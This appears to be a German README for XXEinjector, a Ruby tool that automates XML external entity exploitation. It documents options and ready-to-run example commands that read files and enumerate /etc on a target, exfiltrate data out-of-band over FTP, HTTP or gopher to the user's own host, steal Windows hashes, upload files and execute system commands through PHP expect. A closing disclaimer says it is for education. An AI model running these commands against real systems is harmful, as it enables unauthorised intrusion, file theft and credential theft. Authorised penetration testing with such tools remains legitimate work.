
Werkzeug zur automatischen Ausnutzung von XXE-Schwachstellen unter Verwendung direkter und verschiedener Out-of-Band-Methoden.
XXEinjector automatisiert das Abrufen von Dateien mit direkten und Out-of-Band-Methoden. Die Verzeichnisauflistung funktioniert nur in Java-Anwendungen. Für andere Anwendungen muss die Brute-Force-Methode verwendet werden.
--host Erforderlich - Unsere IP-Adresse für Reverse-Verbindungen. (--host=192.168.0.2)
--file Erforderlich - Datei, die eine gültige HTTP-Anfrage mit XML enthält. Sie können auch mit "XXEINJECT" eine Stelle markieren, an der das DTD injiziert werden soll. (--file=/tmp/req.txt)
--path Erforderlich beim Aufzählen von Verzeichnissen - Pfad zum Aufzählen. (--path=/etc)
--brute Erforderlich beim Brute-Force von Dateien - Datei mit Pfaden für Brute-Force. (--brute=/tmp/brute.txt)
--logger Nur Ergebnisse protokollieren. Keine Anfragen senden. Der HTTP-Logger sucht nach dem Parameter "p" mit den Ergebnissen.
--rhost IP-Adresse oder Domainname des entfernten Hosts. Dieses Argument nur für Anfragen ohne Host-Header verwenden. (--rhost=192.168.0.3)
--rport TCP-Port des entfernten Hosts. Dieses Argument nur für Anfragen ohne Host-Header und für nicht-standardmäßige Werte verwenden. (--rport=8080)
--oob Out-of-Band-Exploitationsmethode. FTP ist standardmäßig. FTP kann in jeder Anwendung verwendet werden. HTTP kann für Brute-Force und Aufzählung durch Verzeichnisauflistung in Java < 1.7-Anwendungen verwendet werden. Gopher kann nur in Java < 1.7-Anwendungen verwendet werden. (--oob=http/ftp/gopher)
--direct Direkte Exploitation anstelle von Out-of-Band verwenden. Als Wert für dieses Argument sollte eine eindeutige Markierung angegeben werden. Diese Markierung gibt an, wo die Ergebnisse von XXE beginnen und enden. Geben Sie --direct-xml an, um zu sehen, wie das XML in der Anforderungsdatei aussehen sollte, oder --localdtd-xml, wenn Sie während der Exploitation eine lokale DTD verwenden möchten. Bei Problemen mit Start- und Endmarkierungen, wenn Sonderzeichen vor oder nach den Ausgabedaten in der Antwort vorhanden sind, verwenden Sie bitte die Match-and-Replace-Option von Burp Proxy, um diese zu ersetzen. (--direct=UNIQUEMARKSTART,UNIQUEMARKEND)
--cdata Direkte Exploitation mit CDATA verbessern. Daten werden direkt abgerufen, jedoch wird OOB verwendet, um die CDATA-Nutzlast zu konstruieren. Geben Sie --cdata-xml an, um zu sehen, wie die Anfrage bei dieser Technik aussehen sollte.
--2ndfile Datei, die eine gültige HTTP-Anfrage für die Second-Order-Exploitation enthält. (--2ndfile=/tmp/2ndreq.txt)
--phpfilter PHP-Filter verwenden, um die Zieldatei vor dem Senden base64 zu kodieren.
--netdoc netdoc-Protokoll anstelle von Datei verwenden (Java).
--enumports Aufzählen ungefilterter Ports für Reverse-Verbindung. Geben Sie "all" an, um alle TCP-Ports aufzuzählen. (--enumports=21,22,80,443,445)
--hashes Windows-Hash des Benutzers stehlen, der die Anwendung ausführt.
--expect PHP-Expect-Erweiterung verwenden, um beliebige Systembefehle auszuführen. Funktioniert am besten mit HTTP und PHP-Filter. (--expect=ls)
--upload Lädt eine angegebene Datei mit dem Java-Jar-Schema in eine temporäre Datei hoch. (--upload=/tmp/upload.txt)
--xslt Test auf XSLT-Injection.
--ssl SSL verwenden.
--proxy Zu verwendender Proxy. (--proxy=127.0.0.1:8080)
--httpport Benutzerdefinierten HTTP-Port festlegen. (--httpport=80)
--ftpport Benutzerdefinierten FTP-Port festlegen. (--ftpport=21)
--gopherport Benutzerdefinierten Gopher-Port festlegen. (--gopherport=70)
--jarport Benutzerdefinierten Port zum Hochladen von Dateien mit Jar festlegen. (--jarport=1337)
--xsltport Benutzerdefinierten Port für XSLT-Injection-Test festlegen. (--xsltport=1337)
--test Dieser Modus zeigt die Anfrage mit injizierter Nutzlast und beendet sich. Wird verwendet, um die Korrektheit der Anfrage zu überprüfen, ohne sie an einen Server zu senden.
--urlencode Injiziertes DTD URL-kodieren. Dies ist standardmäßig für URI.
--nodtd Wenn Sie das DTD selbst in die Anfrage einfügen möchten. Geben Sie "--oob-xml" an, um zu sehen, wie das DTD aussehen sollte.
--output Ausgabedatei für Brute-Force- und Logger-Modus. Standardmäßig wird in das aktuelle Verzeichnis in brute.log protokolliert. (--output=/tmp/out.txt)
--timeout Timeout für den Empfang von Datei-/Verzeichnisinhalten. (--timeout=20)
--contimeout Timeout für das Schließen der Verbindung zum Server. Dies wird verwendet, um eine DoS-Bedingung zu verhindern. (--contimeout=20)
--fast Überspringt die Abfrage, was aufgezählt werden soll. Anfällig für Falschpositive.
--verbose Ausführliche Meldungen anzeigen.
Aufzählen des /etc-Verzeichnisses in einer HTTPS-Anwendung:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
Aufzählen des /etc-Verzeichnisses mit Gopher für die OOB-Methode:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
Second-Order-Exploitation:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt
Brute-Force von Dateien mit der HTTP-Out-of-Band-Methode und dem netdoc-Protokoll:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc
Aufzählen mit direkter Exploitation:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARKSTART,UNIQUEMARKEND
Aufzählen ungefilterter Ports:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
Stehlen von Windows-Hashes:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes
Hochladen von Dateien mit Java Jar:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf
Ausführen von Systembefehlen mit PHP expect:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls
Testen auf XSLT-Injection:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt
Nur Anfragen protokollieren:
ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt
Haftungsausschluss
Dieses Repository enthält ein Tool, das streng zu Bildungszwecken entwickelt wurde. Jegliche missbräuchliche Verwendung des Tools für illegale Aktivitäten ist strengstens untersagt.
Rechtlicher Hinweis
Es ist wichtig, alle lokalen Gesetze und Vorschriften in Bezug auf Cybersicherheit und ethisches Hacken zu verstehen und einzuhalten. Unbefugter Zugriff auf Computersysteme, Netzwerke oder Daten ist illegal und strafbar. Der Entwickler dieses Repositorys ist nicht verantwortlich für jegliche missbräuchliche Verwendung der hierin enthaltenen Tools.
Durch die Nutzung der Tools in diesem Repository erklären Sie sich damit einverstanden, sie verantwortungsbewusst und ethisch zu verwenden. Holen Sie immer die ausdrückliche Erlaubnis ein, bevor Sie ein Netzwerk, System oder Daten testen oder darauf zuzugreifen, die nicht Ihnen gehören.